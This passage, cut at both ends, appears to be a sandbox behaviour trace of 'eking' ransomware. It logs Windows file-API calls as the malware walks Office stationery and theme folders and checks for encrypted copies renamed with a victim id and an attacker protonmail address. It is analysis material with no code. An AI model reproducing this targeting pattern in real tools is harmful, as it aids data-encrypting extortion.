GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg")) returned 0x20 [0172.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0172.985] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=232) returned 1 [0172.985] CloseHandle (hObject=0x1e4) returned 1 [0172.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0172.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0172.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.989] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=10569) returned 1 [0172.989] CloseHandle (hObject=0x1e8) returned 1 [0172.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0172.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0172.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.989] SetEvent (hEvent=0x174) returned 1 [0172.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.992] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=230) returned 1 [0172.992] CloseHandle (hObject=0x1e8) returned 1 [0172.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0172.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0172.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.995] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=7505) returned 1 [0172.995] CloseHandle (hObject=0x1e8) returned 1 [0172.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0172.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0172.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.995] SetEvent (hEvent=0x174) returned 1 [0172.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.996] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1864) returned 1 [0172.996] CloseHandle (hObject=0x1e8) returned 1 [0172.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif")) returned 0x20 [0172.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif")) returned 0x20 [0172.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0173.369] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3650) returned 1 [0173.369] CloseHandle (hObject=0x1f0) returned 1 [0173.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg")) returned 0x20 [0173.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg")) returned 0x20 [0173.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.370] SetEvent (hEvent=0x174) returned 1 [0173.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.569] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=513) returned 1 [0173.570] CloseHandle (hObject=0x1e4) returned 1 [0173.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf")) returned 0x20 [0173.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf")) returned 0x20 [0173.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.744] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1925) returned 1 [0173.744] CloseHandle (hObject=0x1e8) returned 1 [0173.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0173.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0173.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.745] SetEvent (hEvent=0x174) returned 1 [0173.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.747] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=27407) returned 1 [0173.747] CloseHandle (hObject=0x1e8) returned 1 [0173.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0173.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0173.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.747] SetEvent (hEvent=0x174) returned 1 [0173.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.748] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=60154) returned 1 [0173.748] CloseHandle (hObject=0x1e8) returned 1 [0173.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm")) returned 0x20 [0173.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm")) returned 0x20 [0173.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.749] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=596) returned 1 [0173.749] CloseHandle (hObject=0x1e8) returned 1 [0173.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf")) returned 0x20 [0173.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf")) returned 0x20 [0173.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.751] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3479) returned 1 [0173.751] CloseHandle (hObject=0x1e8) returned 1 [0173.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0173.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0173.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.752] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=31837) returned 1 [0173.752] CloseHandle (hObject=0x1e8) returned 1 [0173.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0173.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0173.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.753] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=107831) returned 1 [0173.753] CloseHandle (hObject=0x1e8) returned 1 [0173.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm")) returned 0x20 [0173.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm")) returned 0x20 [0173.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.756] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=450) returned 1 [0173.756] CloseHandle (hObject=0x1e4) returned 1 [0173.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf")) returned 0x20 [0173.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf")) returned 0x20 [0173.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft 